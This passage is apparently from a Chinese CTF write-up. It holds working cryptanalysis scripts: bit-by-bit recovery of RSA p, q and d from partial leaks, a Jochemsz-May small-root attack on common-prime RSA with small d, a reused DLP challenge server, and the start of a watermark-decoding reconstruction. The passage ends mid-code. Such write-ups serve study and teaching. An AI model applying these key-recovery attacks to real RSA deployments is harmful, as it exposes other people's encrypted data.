10hint3 = {891: '0', 74: '0', 129: '0', 477: '0', 880: '1', 57: '0', 473: '0', 289: '1', 361: '1', 1012: '0', 529: '0', 294: '1', 174: '1', 500: '0', 257: '1', 392: '1', 405: '1', 11: '0', 763: '1', 637: '1', 564: '0', 941: '1', 923: '1', 1014: '1', 670: '1', 558: '0', 304: '1', 444: '1', 716: '0', 208: '0', 130: '1', 634: '1', 661: '0', 862: '0', 412: '1', 796: '1', 761: '1', 113: '1', 752: '0', 818: '0', 797: '1', 390: '1', 337: '0', 133: '1', 367: '1', 470: '1', 345: '1', 170: '1', 312: '0', 624: '1', 53: '1', 75: '1', 281: '1', 522: '1', 100: '0', 554: '1', 583: '1', 16: '1', 836: '0', 715: '1', 450: '0', 484: '0', 876: '0', 165: '0', 842: '0', 62: '0', 442: '1', 927: '0', 586: '1', 399: '1', 227: '0', 886: '1', 663: '0', 947: '0', 906: '1', 377: '0', 246: '1', 365: '0', 177: '1', 59: '1', 63: '0', 936: '1', 144: '0', 416: '1', 228: '1', 366: '0', 117: '0', 78: '0', 717: '1', 14: '0', 800: '1', 47: '0', 80: '0', 34: '0', 662: '1', 970: '0', 986: '1', 287: '1', 597: '0', 783: '0', 805: '1', 112: '1', 671: '1', 540: '1', 153: '1', 577: '1', 543: '0', 414: '0', 123: '1', 626: '1', 452: '1', 810: '1', 30: '0', 905: '0', 602: '1', 537: '1', 374: '0', 408: '1', 434: '0', 137: '1', 532: '0', 397: '0', 333: '1', 258: '1', 359: '1', 134: '1', 322: '1', 653: '0', 1018: '0', 639: '1', 40: '1', 826: '1', 489: '0', 5: '0', 858: '0', 44: '1', 516: '0', 149: '0', 945: '0', 106: '1', 694: '0', 221: '0', 207: '0', 186: '1', 316: '0', 449: '1', 297: '1', 276: '0', 103: '0', 437: '0', 802: '0', 108: '1', 921: '1', 427: '0', 728: '1', 879: '0', 953: '0', 51: '1', 459: '0', 37: '0', 559: '0', 610: '1', 341: '0', 299: '0', 952: '0', 201: '0', 327: '0', 741: '1', 253: '1', 310: '1', 946: '1', 696: '0', 398: '1', 266: '1', 829: '0', 908: '0', 469: '0', 873: '1', 658: '0', 798: '1', 54: '0', 621: '0', 238: '0', 654: '1', 205: '0', 925: '0', 391: '1', 480: '0', 4: '0', 598: '0', 677: '0', 142: '1', 606: '0', 118: '0', 164: '0', 973: '1', 347: '0', 159: '1', 307: '1', 83: '1', 668: '1', 675: '0', 924: '1', 191: '1', 890: '0', 352: '1', 965: '1', 692: '1', 782: '1', 817: '1', 889: '1', 515: '1', 433: '0', 356: '0', 845: '1', 104: '0', 18: '0', 979: '0', 426: '0', 785: '1', 546: '0', 52: '0', 55: '0', 824: '1', 704: '1', 510: '1', 710: '0', 1022: '0', 647: '0', 465: '1', 245: '0', 850: '1', 657: '0', 1007: '0', 807: '1', 158: '1', 328: '0', 292: '1', 355: '1', 596: '0', 275: '1', 371: '0', 1004: '0', 594: '0', 384: '1', 446: '1', 7: '0', 994: '1', 616: '1', 317: '0', 305: '0', 151: '1', 400: '0', 900: '1', 203: '0', 563: '1', 745: '1', 536: '1', 726: '0', 751: '1', 402: '1', 116: '0', 781: '1', 988: '0', 768: '1', 688: '1', 954: '1', 976: '1', 868: '1', 723: '1', 131: '1', 794: '0', 513: '0', 914: '1', 641: '1', 319: '0', 629: '1', 620: '1', 711: '0', 601: '0', 531: '0', 393: '0', 168: '0', 132: '0', 17: '0', 950: '0', 488: '0', 679: '0', 568: '0', 43: '1', 545: '1', 217: '0', 680: '1', 501: '1', 1008: '0', 514: '0', 746: '0', 187: '0', 436: '1', 336: '1', 139: '1', 338: '0', 695: '1', 300: '0', 584: '1', 152: '0', 828: '1', 251: '0', 691: '1', 296: '1', 128: '0', 394: '1', 655: '1', 544: '1', 58: '0', 313: '1', 565: '1', 685: '1', 720: '0', 178: '1', 667: '0', 403: '1', 697: '1', 138: '1', 659: '0', 960: '0', 454: '0', 271: '0', 33: '0', 295: '0', 600: '0', 579: '1', 68: '1', 211: '1', 82: '1', 114: '1', 209: '0', 226: '0', 753: '0', 874: '0', 903: '1', 358: '0', 141: '0', 236: '1'}
11
12def getnum(hint, bit):
13s = ['?'] * bit
14for tmp in hint.items():
15s[tmp[0]] = tmp[1]
16ss = ''
17return ss.join(s)
18
19p_corr = getnum(hint1, 512)
20q_corr = getnum(hint2, 512)
21d_corr = getnum(hint3, 1024)
22return n, e, c, p_corr, q_corr, d_corr, hint3
23
24def run(args):
25# fn: 函数参数是数据列表的一个元素
26N, e, c, p_corr, q_corr, d_corr, hint_d = get_params_prob()
27MY_SIZE = 508
28my_hint_d = {x: y for x, y in hint_d.items() if x < MY_SIZE}
29l, r = args
30for k in range(max(1, l), min(e, r)):
31d_tilde = (k*(N+1)+1) // e
32d_tilde_str = bin(d_tilde)[2:].zfill(1024)
33for x, y in my_hint_d.items():
34if (d_tilde_str[x] != y):
35break
36else:
37print('FIND ANS:', k)
38return
39# print(f'Find {(l, r)} failed')
40
41if __name__ == "__main__":
42testX = [(2**24*i, 2**24*(i+1)) for i in range(256)]
43print('concurrent:') # 创建多个进程,并行执行
44pool = Pool(256) # 创建拥有3个进程数量的进程池
45pool.map(run, testX)
46pool.close() # 关闭进程池,不再接受新的进程
47pool.join() # 主进程阻塞等待子进程的退出

拿到k以后爆破pq,直接用春哥的代码
https://zhuanlan.zhihu.com/p/266059082 ,四元变三元,也很吃算力

 1import random
2
3n = 73380160475470842653695210816683702314062827937540324056880543809752271506601290265975543542548117392788987830919581511428492717214125296973338501980504384307279414528799452106399062576988406269897425829853390463840834798274139351938197666753546672052277640048588091137812362810008344723302886421059831149393
4e = 3116872133
5c = 69574121902821459446683688068339366486115223765903849266663001038736496551168104587683366853482649748413400537793260948337629422998336301256862519087984048032673577462034223842650399943613576577927825123830629917138007035313624847266208032195071033675853881447717750353382112841885318776240405314057286867952
6hint1 = {120: '0', 401: '0', 58: '1', 420: '0', 192: '1', 164: '0', 100: '0', 425: '1', 227: '0', 497: '0', 284: '0', 110: '1', 257: '0', 31: '1', 68: '0', 2: '1', 206: '0', 174: '1', 326: '0', 320: '0', 498: '1', 50: '1', 7: '0', 128: '1', 54: '1', 15: '1', 222: '0', 166: '1', 496: '1', 151: '1', 317: '0', 449: '1', 181: '1', 288: '1', 311: '1', 80: '1', 69: '1', 410: '1', 127: '1', 308: '1', 39: '0', 435: '0', 258: '0', 235: '1', 94: '1', 93: '1', 412: '0', 427: '0', 352: '1', 123: '0', 25: '0', 316: '1', 3: '0', 88: '1', 390: '0', 72: '1', 450: '1', 397: '0', 309: '1', 487: '1', 207: '0', 234: '0', 144: '1', 229: '1', 48: '1', 506: '0', 253: '1', 86: '0', 384: '0', 428: '0', 359: '1', 104: '0', 339: '0', 142: '0', 452: '1', 480: '0', 224: '1', 310: '1', 98: '1', 508: '0', 133: '0', 90: '1', 170: '0', 146: '0', 101: '1', 416: '1', 460: '1', 387: '0', 67: '0', 285: '0', 213: '1', 162: '1', 14: '0', 485: '1', 413: '1', 312: '1', 458: '0', 75: '0', 242: '1', 177: '1', 30: '1', 501: '0', 434: '1', 456: '0', 264: '0', 407: '0', 135: '1', 84: '0', 476: '0', 471: '1', 430: '1', 191: '0', 176: '0', 29: '1', 156: '0', 26: '0', 322: '1', 388: '1', 364: '1', 321: '1', 351: '0', 230: '1', 345: '0', 432: '1', 36: '0', 296: '1', 79: '0', 23: '0', 290: '1', 117: '0', 507: '1', 421: '0', 274: '0', 6: '1', 327: '1', 204: '1', 383: '0', 305: '1', 113: '0', 334: '0', 85: '1', 511: '1', 464: '1', 491: '0', 370: '0', 92: '0', 495: '0', 279: '1', 346: '1', 16: '1', 44: '1', 24: '0', 466: '1', 87: '0', 243: '0', 461: '0', 379: '0', 256: '0', 473: '1', 17: '0', 276: '1', 147: '1', 187: '0', 112: '1', 218: '1', 78: '1', 411: '1', 343: '0', 10: '1', 271: '1', 378: '0', 492: '0', 269: '1', 291: '0', 289: '0', 132: '1', 9: '1', 408: '0', 398: '1', 468: '1', 124: '1', 236: '0', 377: '1', 83: '0'}
7hint2 = {125: '0', 86: '1', 8: '0', 498: '1', 311: '0', 93: '0', 385: '0', 315: '1', 300: '1', 454: '0', 152: '0', 205: '0', 400: '1', 348: '1', 18: '1', 154: '0', 51: '1', 435: '0', 25: '1', 430: '0', 72: '1', 136: '0', 294: '0', 466: '0', 388: '0', 428: '0', 440: '1', 250: '1', 506: '0', 48: '0', 270: '1', 318: '0', 107: '0', 327: '1', 474: '0', 325: '0', 281: '0', 392: '0', 473: '1', 13: '1', 90: '0', 278: '0', 425: '0', 109: '1', 423: '1', 412: '1', 190: '1', 171: '0', 475: '1', 441: '1', 336: '0', 371: '0', 323: '0', 22: '1', 469: '0', 451: '0', 438: '0', 203: '1', 121: '0', 52: '1', 494: '1', 399: '0', 314: '0', 24: '1', 183: '0', 492: '1', 246: '1', 108: '1', 379: '0', 460: '1', 56: '0', 372: '1', 313: '1', 44: '0', 237: '1', 12: '0', 6: '0', 204: '1', 80: '1', 339: '1', 296: '0', 483: '0', 402: '0', 67: '0', 338: '1', 116: '0', 406: '1', 218: '0', 115: '0', 301: '0', 490: '1', 502: '0', 343: '1', 46: '1', 321: '0', 231: '1', 88: '0', 404: '1', 426: '0', 344: '0', 123: '1', 463: '0', 45: '1', 461: '1', 1: '0', 229: '0', 28: '1', 274: '1', 134: '1', 104: '1', 21: '0', 256: '0', 471: '1', 157: '0', 217: '1', 158: '0', 307: '1', 26: '0', 255: '0', 386: '1', 373: '0', 114: '1', 360: '0', 148: '1', 383: '1', 63: '0', 19: '1', 472: '0', 201: '1', 262: '1', 47: '0', 221: '0', 310: '0', 352: '1', 224: '1', 185: '0', 214: '1', 285: '1', 410: '0', 455: '0', 445: '0', 464: '0', 284: '1', 503: '1', 298: '1', 449: '0', 477: '0', 376: '0', 16: '0', 133: '0', 177: '1', 210: '0', 364: '1', 163: '1', 213: '1', 295: '1', 111: '1', 458: '0', 146: '0', 244: '0', 261: '1', 508: '1', 106: '0', 112: '1', 120: '0', 156: '1', 303: '0', 259: '1', 35: '0', 444: '0', 215: '1', 304: '0', 140: '0', 351: '0', 443: '0'}
8hint3 = {891: '0', 74: '0', 129: '0', 477: '0', 880: '1', 57: '0', 473: '0', 289: '1', 361: '1', 1012: '0', 529: '0', 294: '1', 174: '1', 500: '0', 257: '1', 392: '1', 405: '1', 11: '0', 763: '1', 637: '1', 564: '0', 941: '1', 923: '1', 1014: '1', 670: '1', 558: '0', 304: '1', 444: '1', 716: '0', 208: '0', 130: '1', 634: '1', 661: '0', 862: '0', 412: '1', 796: '1', 761: '1', 113: '1', 752: '0', 818: '0', 797: '1', 390: '1', 337: '0', 133: '1', 367: '1', 470: '1', 345: '1', 170: '1', 312: '0', 624: '1', 53: '1', 75: '1', 281: '1', 522: '1', 100: '0', 554: '1', 583: '1', 16: '1', 836: '0', 715: '1', 450: '0', 484: '0', 876: '0', 165: '0', 842: '0', 62: '0', 442: '1', 927: '0', 586: '1', 399: '1', 227: '0', 886: '1', 663: '0', 947: '0', 906: '1', 377: '0', 246: '1', 365: '0', 177: '1', 59: '1', 63: '0', 936: '1', 144: '0', 416: '1', 228: '1', 366: '0', 117: '0', 78: '0', 717: '1', 14: '0', 800: '1', 47: '0', 80: '0', 34: '0', 662: '1', 970: '0', 986: '1', 287: '1', 597: '0', 783: '0', 805: '1', 112: '1', 671: '1', 540: '1', 153: '1', 577: '1', 543: '0', 414: '0', 123: '1', 626: '1', 452: '1', 810: '1', 30: '0', 905: '0', 602: '1', 537: '1', 374: '0', 408: '1', 434: '0', 137: '1', 532: '0', 397: '0', 333: '1', 258: '1', 359: '1', 134: '1', 322: '1', 653: '0', 1018: '0', 639: '1', 40: '1', 826: '1', 489: '0', 5: '0', 858: '0', 44: '1', 516: '0', 149: '0', 945: '0', 106: '1', 694: '0', 221: '0', 207: '0', 186: '1', 316: '0', 449: '1', 297: '1', 276: '0', 103: '0', 437: '0', 802: '0', 108: '1', 921: '1', 427: '0', 728: '1', 879: '0', 953: '0', 51: '1', 459: '0', 37: '0', 559: '0', 610: '1', 341: '0', 299: '0', 952: '0', 201: '0', 327: '0', 741: '1', 253: '1', 310: '1', 946: '1', 696: '0', 398: '1', 266: '1', 829: '0', 908: '0', 469: '0', 873: '1', 658: '0', 798: '1', 54: '0', 621: '0', 238: '0', 654: '1', 205: '0', 925: '0', 391: '1', 480: '0', 4: '0', 598: '0', 677: '0', 142: '1', 606: '0', 118: '0', 164: '0', 973: '1', 347: '0', 159: '1', 307: '1', 83: '1', 668: '1', 675: '0', 924: '1', 191: '1', 890: '0', 352: '1', 965: '1', 692: '1', 782: '1', 817: '1', 889: '1', 515: '1', 433: '0', 356: '0', 845: '1', 104: '0', 18: '0', 979: '0', 426: '0', 785: '1', 546: '0', 52: '0', 55: '0', 824: '1', 704: '1', 510: '1', 710: '0', 1022: '0', 647: '0', 465: '1', 245: '0', 850: '1', 657: '0', 1007: '0', 807: '1', 158: '1', 328: '0', 292: '1', 355: '1', 596: '0', 275: '1', 371: '0', 1004: '0', 594: '0', 384: '1', 446: '1', 7: '0', 994: '1', 616: '1', 317: '0', 305: '0', 151: '1', 400: '0', 900: '1', 203: '0', 563: '1', 745: '1', 536: '1', 726: '0', 751: '1', 402: '1', 116: '0', 781: '1', 988: '0', 768: '1', 688: '1', 954: '1', 976: '1', 868: '1', 723: '1', 131: '1', 794: '0', 513: '0', 914: '1', 641: '1', 319: '0', 629: '1', 620: '1', 711: '0', 601: '0', 531: '0', 393: '0', 168: '0', 132: '0', 17: '0', 950: '0', 488: '0', 679: '0', 568: '0', 43: '1', 545: '1', 217: '0', 680: '1', 501: '1', 1008: '0', 514: '0', 746: '0', 187: '0', 436: '1', 336: '1', 139: '1', 338: '0', 695: '1', 300: '0', 584: '1', 152: '0', 828: '1', 251: '0', 691: '1', 296: '1', 128: '0', 394: '1', 655: '1', 544: '1', 58: '0', 313: '1', 565: '1', 685: '1', 720: '0', 178: '1', 667: '0', 403: '1', 697: '1', 138: '1', 659: '0', 960: '0', 454: '0', 271: '0', 33: '0', 295: '0', 600: '0', 579: '1', 68: '1', 211: '1', 82: '1', 114: '1', 209: '0', 226: '0', 753: '0', 874: '0', 903: '1', 358: '0', 141: '0', 236: '1'}
9
10def getnum(hint, bit):
11s = ['?'] * bit
12for tmp in hint.items():
13s[tmp[0]] = tmp[1]
14ss = ''
15return ss.join(s)
16
17p_corr = getnum(hint1, 512)
18q_corr = getnum(hint2, 512)
19d_corr = getnum(hint3, 1024)
20print('p = ', p_corr)
21print('q = ', q_corr)
22print('d = ', d_corr)
23
24def get_s(x):
25if (x == '?'):
26return [0, 1]
27else:
28return [int(x)]
29
30def update_3_k(total_len):
31cur_ans = [(0, 0, 0)] # d, p, q, k
32mod_num = 1
33cur_num = 1
34k = 1972411342
35for i in range(total_len):
36mod_num *= 2
37nxt_ans = []
38pset, qset, dset = set(), set(), set()
39for d, p, q in cur_ans:
40for cur_p in get_s(p_corr[- i - 1]):
41nxt_p = p + cur_p * cur_num
42for cur_q in get_s(q_corr[- i - 1]):
43nxt_q = q + cur_q * cur_num
44# check n = pq
45nxt_n = nxt_p * nxt_q % mod_num
46if (n % mod_num == nxt_n):
47for cur_d in get_s(d_corr[- i - 1]):
48nxt_d = d + cur_d * cur_num
49# check phi
50if (e * nxt_d % mod_num == (k * (nxt_p - 1) % mod_num * (nxt_q - 1) + 1) % mod_num):
51# ok
52nxt_ans.append((nxt_d, nxt_p, nxt_q))
53pset.add(nxt_p)
54qset.add(nxt_q)
55dset.add(nxt_d)
56cur_ans = nxt_ans
57cur_num *= 2
58print(i, len(cur_ans), cur_ans[-1])
59
60print('number of p:', len(pset))
61print('number of q:', len(qset))
62print('number of d:', len(dset))
63
64return cur_ans
65
66print(update_3_k(512))

分解之后就有了

 1from Crypto.Util.number import *
2
3n = 73380160475470842653695210816683702314062827937540324056880543809752271506601290265975543542548117392788987830919581511428492717214125296973338501980504384307279414528799452106399062576988406269897425829853390463840834798274139351938197666753546672052277640048588091137812362810008344723302886421059831149393
4e = 3116872133
5c = 69574121902821459446683688068339366486115223765903849266663001038736496551168104587683366853482649748413400537793260948337629422998336301256862519087984048032673577462034223842650399943613576577927825123830629917138007035313624847266208032195071033675853881447717750353382112841885318776240405314057286867952
6
7sol_list = [(7784868472609835283772369288450719687831855595004708832036599005696915154950995935461077898788049056940742159122868259556603407924884969346573163242612229, 5366239629682084697715680375675183284975073589647891453436177052547030069350226021009383094270291268448822558390838025112113425896384691203885755013446291, 7752453331027896289378165428906797427594364441082026942376869840211846057088210327758608246566696642059981985937946346433942230652922826983630336158233867), (7784868472609835283772369288450719687831855595004708832036599005696915154950995935461077898788049056940742159122868259556603407924884969346573163242612229, 12070143594653383247502692874778106348714756499944088142297957774407912084386999509410320243353742982293838487484081050538990367302357976177102579516488339, 1048549366056597739591152929803874363854681530785830253515089118350964042051436839357671097483244928214966056844703321007065289246949542010413511655191819), (1080964507638536733985356789347796624092172684708512143174818283836033139914222447060140749704597343095726230029625234129726466518911684373356338739570181, 2433281645007141582183862407317654444588962316393305402059147986732894187771637619833973091546281143641628089412544201487854764031271379028103394293365395, 7333459333217190130016477147712864736110634259188514649323008545095540931148411984733549674748980909944668490369618657344762421815049496672804284626793739), (1080964507638536733985356789347796624092172684708512143174818283836033139914222447060140749704597343095726230029625234129726466518911684373356338739570181, 9137185609978440131970874906420577508328645226689502090920928708593776202808411108234910240629732857486644018505787226914731705437244664001320218796407443, 629555368245891580229464648609941672370951348892317960461227823234658916111638496332612525665529196099652561276375631917885480409076211699587460123751691), (7919489015169557662429127754565768355549835525176027430319638757565113735078207393658554845331317666676034000955470463920503224389516790946448824722679301, 1802354785201290177466884084338089546571783201683146314594751112680946785671485962333750690939270314498621839653134209205738944793709927368604997459819155, 1938968369951956383692914074846193565952605977994141608508479664130135156436350531430956937073490508744644524832859364144490425643565423141221879893357835), (7919489015169557662429127754565768355549835525176027430319638757565113735078207393658554845331317666676034000955470463920503224389516790946448824722679301, 8506258750172588727253896583441012610311466111979343003456531834541828800708259450734687840022722028343637768746377234632615886199683212341821821962861203, 8642872334923254933479926573949116629692288888290338297370260385991017171473124019831894086156942222589660453926102389571367367049538708114438704396399883), (1215585050198259112642115255462845291810152614879830741457858035704231720041433905257617696247865952831018071862227438493626282983543505973232000219637253, 5573300765497645611722078615083483769925354838724756952079502768727692919129671049559277837298711903536443299768083411008357224334569900166039461242780307, 8223878337112548774118238292755183938208558706396826004316399090874712045533325676806835514339226490474346958357774700482187558211665377803612652864959755), (1215585050198259112642115255462845291810152614879830741457858035704231720041433905257617696247865952831018071862227438493626282983543505973232000219637253, 12277204730468944161509091114186406833665037749020953640941283490588574934166444537960214986382163617381459228861326436435234165740543185139256285745822355, 1519974372141250224331225793652260874468875796100629315454618369013830030496552188405898365255774776629331029264531675055310616805692092830395828361917707), (7734921245373868987957633397815241793128376406577702659406870494917041423397863464444263406492935867521512547965938537313634187669740963333142964343301637, 2039677277102509201846962486845547473896091736477285128799254489086577739322976113889959601594776791686842028494481573651372391063246536352650723217029779, 1257898532286632316712997010434751098568684325677402896642438617119803235501528656939875312897703963741941819407675370807672885257529089521223286466966795), (7734921245373868987957633397815241793128376406577702659406870494917041423397863464444263406492935867521512547965938537313634187669740963333142964343301637, 8743581242073807751633974985948470537635774646773481817661035210947459754359749602290896750678228505531857957587724599078249332469219821325867547720071827, 7961802497257930866500009509537674162308367235973599585504219338980685250538302145340812461981155677586957748500918396234549826663502374494440110970008843), (1031017280402570438170620898712318729388693496281505970545089773056159408361089976043326257409484153676496618872695511886757246263767678359926139840259589, 5810623257398864636102157017590941697249663373518895766284006145133323872781161201115486747954218380724663488609430775453990670604106509150085186999990931, 7542808499447224707138321228343741470824637054080087292450358043864380124598503802315753890163439945471644252932590707145370017825629044183614059438568715), (1031017280402570438170620898712318729388693496281505970545089773056159408361089976043326257409484153676496618872695511886757246263767678359926139840259589, 12514527222370163185889169516693864760989346283815092455145786866994205887817934689516423897037670094569679417702673800880867612010079794123302011503032979, 838904534475926157351308729240818407084954143783890603588577322003498109561730313914816741079988231626628323839347681718493076419655759210397234935526667), (7934321504151848016580521002574844336171226047598370838640120531140912301800737265546469106621426048099833677640004660227767453182195309874035552908895749, 5362971084215426487776063906406933038339571667412402912065006500619578380006904603808786641086852920091627867874069854414757781438101918802034898550045331, 1748900714192807249109317611158943830937830460558493754638072787623072613667437058549182782275056393635453630420046451180946795578565976628109405510595851), (7934321504151848016580521002574844336171226047598370838640120531140912301800737265546469106621426048099833677640004660227767453182195309874035552908895749, 12066875049186725037563076405509856102079254577708599600926787222480460395043678092209723790170304633936643796967312879841634722844075203775251723053087379, 8452804679164105798896330110261866894677513370854690443499853509483954628704210546950119931358508107480469559513289476607823736984539261601326230013637899), (1230417539180549466793508503471921272431543137302174149778339809280030286763963777145531957537974334254817748546761634800890511776222024900818728405853701, 2430013099540483372244245938049404197953460394157816860687977434805442498428316202633376638362842795284433398895776030790499119572988606626252537829964435, 1329906716382101089747629329965011139454100278664981461584211492506767487727638715524124210457340661520140134851718762091766986740692646317283353979155723), (1230417539180549466793508503471921272431543137302174149778339809280030286763963777145531957537974334254817748546761634800890511776222024900818728405853701, 9133917064511781922031258437152327261693143304454013549549758156666324513465089691034313787446294509129449327989019056217376060978961891599469362333006483, 8033810681353399639534641829067934203193783188961178150445992214367649502764412203925061359540792375365156063944961787518643928146665931290500178482197771)]
8
9for p, q, d in sol_list:
10if (n % p == 0):
11q = n // p
12d = inverse(e, (p-1)*(q-1))
13m = pow(c, d, n)
14print(long_to_bytes(m))
15p, q = q, p
16if (n % p == 0):
17q = n // p
18d = inverse(e, (p-1)*(q-1))
19m = pow(c, d, n)
20print(long_to_bytes(m))

common_rsa

维纳的common prime rsa,用john and may的方法copper能出,代码直接参考github的:

https://github.com/jvdsn/crypto-attacks/blob/5c7989ceac599f1f8e016b5afb0d2966759cd470/attacks/rsa/wiener_attack_common_prime.py

 1import logging
2import os
3import sys
4from math import log
5from math import sqrt
6
7from sage.all import RR
8from sage.all import ZZ
9from Crypto.Util.number import long_to_bytes
10path = os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(os.path.abspath(__file__)))))
11if sys.path[1] != path:
12sys.path.insert(1, path)
13
14from shared.small_roots import jochemsz_may_integer
15
16def attack(N, e, delta=0.25, m_start=1):
17"""
18Recovers the prime factors of a modulus and the private exponent if the private exponent is too small (Common Prime RSA version).
19More information: Jochemsz E., May A., "A Strategy for Finding Roots of Multivariate Polynomials with New Applications in Attacking RSA Variants" (Section 5)
20:param N: the modulus
21:param e: the public exponent
22:param delta: a predicted bound on the private exponent (d < N^delta) (default: 0.25)
23:param m_start: the m value to start at for the small roots method (default: 1)
24:return: a tuple containing the prime factors of the modulus and the private exponent
25"""
26gamma = 1 - log(e, N)
27assert delta <= 1 / 4 * (4 + 4 * gamma - sqrt(13 + 20 * gamma + 4 * gamma ** 2)), "Bound check failed."
28
29x, y, z = ZZ["x, y, z"].gens()
30
31f = e ** 2 * x ** 2 + e * x * (y + z - 2) - (y + z - 1) - (N - 1) * y * z
32
33X = int(RR(N) ** delta)
34Y = int(RR(N) ** (delta + 1 / 2 - gamma))
35Z = int(RR(N) ** (delta + 1 / 2 - gamma))
36W = int(RR(N) ** (2 + 2 * delta - 2 * gamma))
37
38m = m_start
39while True:
40for t in range(m + 1):
41logging.info(f"Trying m = {m}, t = {t}...")
42strategy = jochemsz_may_integer.ExtendedStrategy([t, 0, 0])
43for x0, y0, z0 in jochemsz_may_integer.integer_multivariate(f, m, W, [X, Y, Z], strategy):
44d = x0
45ka = y0
46kb = z0
47if pow(pow(2, e, N), d, N) == 2:
48p = (e * d - 1) // kb + 1
49q = (e * d - 1) // ka + 1
50return p, q, d
51
52m += 1
53
54n = 253784908428481171520644795825628119823506176672683456544539675613895749357067944465796492899363087465652749951069021248729871498716450122759675266109104893465718371075137027806815473672093804600537277140261127375373193053173163711234309619016940818893190549811778822641165586070952778825226669497115448984409
55e = 31406775715899560162787869974700016947595840438708247549520794775013609818293759112173738791912355029131497095419469938722402909767606953171285102663874040755958087885460234337741136082351825063419747360169129165
56c = 97724073843199563126299138557100062208119309614175354104566795999878855851589393774478499956448658027850289531621583268783154684298592331328032682316868391120285515076911892737051842116394165423670275422243894220422196193336551382986699759756232962573336291032572968060586136317901595414796229127047082707519
57delta = 0.132
58print(delta)
59p, q, d = attack(n, e, delta)
60print(long_to_bytes(pow(c, d, n))) 

babyDLP

CryptoCTF 原题sidestep,参数交互都没改,直接用原来的exp都能出:

 1#!/usr/bin/env python3
2
3from Crypto.Util.number import *
4import random, sys
5from flag import flag
6
7def pow_d(g, e, n):
8t, r = 0, 1
9for _ in bin(e)[2:]:
10if r == 4: t += 1
11r = pow(r, 2, n)
12if _ == '1': r = r * g % n
13return t, r
14
15def ts(m, p):
16m = m % p
17return pow(m, (p - 1) // 2, p) == 1
18
19def die(*args):
20pr(*args)
21quit()
22
23def pr(*args):
24s = " ".join(map(str, args))
25sys.stdout.write(s + "n")
26sys.stdout.flush()
27
28def sc():
29return sys.stdin.readline().strip()
30
31def main():
32border = "|"
33pr(border*72)
34pr(border, "Hi all cryptographers! Welcome to the Sidestep task, we do powing!!!", border)
35pr(border, "You should solve a DLP challenge in some special way to get the flag", border)
36
37p = 2 ** 1024 - 2 ** 234 - 2 ** 267 - 2 ** 291 - 2 ** 403 - 1
38s = random.randint(2, (p - 1) // 2)
39
40while True:
41pr("| Options: n|t[T]ry the magic machine n|t[Q]uit")
42ans = sc().lower()
43
44if ans == 't':
45pr(border, "please send your desired integer: ")
46g = sc()
47try:
48g = int(g)
49except:
50die(border, "The given input is not integer!")
51if ts(g, p):
52t, r = pow_d(g, s, p)
53if r == 4:
54die(border, f'Great! you got the flag: {flag}')
55else:
56pr(border, f"t, r = {t, r}")
57else:
58pr(border, "The given base is NOT valid!!!")
59elif ans == 'q':
60die(border, "Quitting ...")
61else:
62die(border, "Bye bye ...")
63
64if __name__ == "__main__":
65main()

Misc

lena

首先解压压缩包,得到一个经过变量名混淆的代码,以及隐写结果。

经过上下文代码审计与分析,恢复出隐写代码如下:

  1import cv2
2import pywt
3import numpy as np
4from reedsolo import RSCodec
5
6
7def anorld(img, anorld_factor):
8num_iteration, a1, a2 = anorld_factor
9result_img = np.zeros(img.shape)
10h, w = img.shape[:2]
11for current_iteration in range(num_iteration):
12for i in range(h):
13for j in range(w):
14result_j = (j + a1 * i) % w
15result_i = (
16a2 * j +
17(a1 * a2 + 1) * i) % h
18result_img[result_i, result_j] = img[i, j]
19img = result_img.copy()
20return result_img
21
22
23def image_to_blocks(haar_coefficient, block_size):
24h, w = haar_coefficient.shape[:2]
25block_size_x, block_size_y = block_size
26stride_params = (h // block_size_x, w // block_size_y,
27block_size_x, block_size_y)
28strides = haar_coefficient.itemsize * np.array(
29[w * block_size_x, block_size_y, w, 1])
30result_coefficients = np.lib.stride_tricks.as_strided(haar_coefficient, stride_params,
31strides).astype('float64')
32result_coefficients = np.reshape(
33result_coefficients,
34(stride_params[0] * stride_params[1], block_size_x, block_size_y))
35return result_coefficients
36
37
38def blocks_to_image(blocks, carrier_cA_shape):
39carrier_cA_height, carrier_cA_width = carrier_cA_shape[:2]
40block_height, block_width = blocks.shape[-2:]
41reshaped_shape = (carrier_cA_height // block_height, carrier_cA_width // block_width,
42block_height, block_width)
43blocks = np.reshape(blocks, reshaped_shape)
44result_image_rows = []
45for block_row in blocks:
46result_image_rows.append(np.concatenate(block_row, axis=1))
47result_image = np.concatenate(result_image_rows, axis=0)
48return result_image
49
50
51def binarization(img):
52result_img = ((img > 128) * 255).astype('uint8')
53return result_img
54
55
56def mu_law_transformation(img, mu_law_X_max, mu_law_mu):
57return np.log(1 + mu_law_mu *
58(np.abs(img) / mu_law_X_max)) / np.log(1 + mu_law_mu)
59
60
61def inverse_mu_law_transformation(img, mu_law_X_max, mu_law_mu):
62return (mu_law_X_max / mu_law_mu) * (np.power(1 + mu_law_mu, np.abs(img)) - 1
63)
64
65
66def inverse_mu_law_first_step(img, some_bit, some_delta):
67result = (np.round(img * 1000 / some_delta) * some_delta +
68(-1)**(some_bit + 1) * some_delta / 4.) / 1000
69return result
70
71
72class Watermark:
73def __init__(self, img):
74self.block_shape = 4
75self.arnold_factor = (6, 20, 22)
76self.rsc_factor = 100
77self.mu_law_mu = 100
78self.mu_law_X_max = 8000
79self.delta = 15
80self.carrier = img.astype('float32')
81height, width = self.carrier.shape[:2]
82self.carrier_cA_height = height // 2
83self.carrier_cA_width = width // 2
84self.watermark_height = self.carrier_cA_height // self.block_shape
85self.watermark_width = self.carrier_cA_width // self.block_shape
86self.max_bits_size = self.watermark_height * self.watermark_width
87self.max_bytes_size = self.max_bits_size // 8
88self.rsc_size = len(
89RSCodec(self.rsc_factor).encode(b'x00' * self.max_bytes_size))
90
91def get_white_black_bit(self, white_black_img):
92img_lsb = (white_black_img % 2).flatten()
93if len(img_lsb) < self.max_bits_size:
94img_lsb = np.hstack(
95(img_lsb,
96np.zeros(self.max_bits_size - len(img_lsb)))).astype('uint8')
97return img_lsb
98
99def bits_to_bytes(self, some_bits):
100some_bytes = np.packbits(some_bits).tobytes()
101return some_bytes
102
103def pad_bits_to_max_bits_size(self, some_bytes):
104some_bits = np.unpackbits(np.frombuffer(some_bytes, dtype='uint8'))
105if len(some_bits) < self.max_bits_size:
106some_bits = np.hstack(
107(some_bits,
108np.zeros(self.max_bits_size - len(some_bits)))).astype('uint8')
109return some_bits
110
111def dct_info_embed(self, block_img_list, some_bits):
112result_image = block_img_list.copy()
113for img_index, block_img in enumerate(block_img_list):
114some_bit = some_bits[img_index]
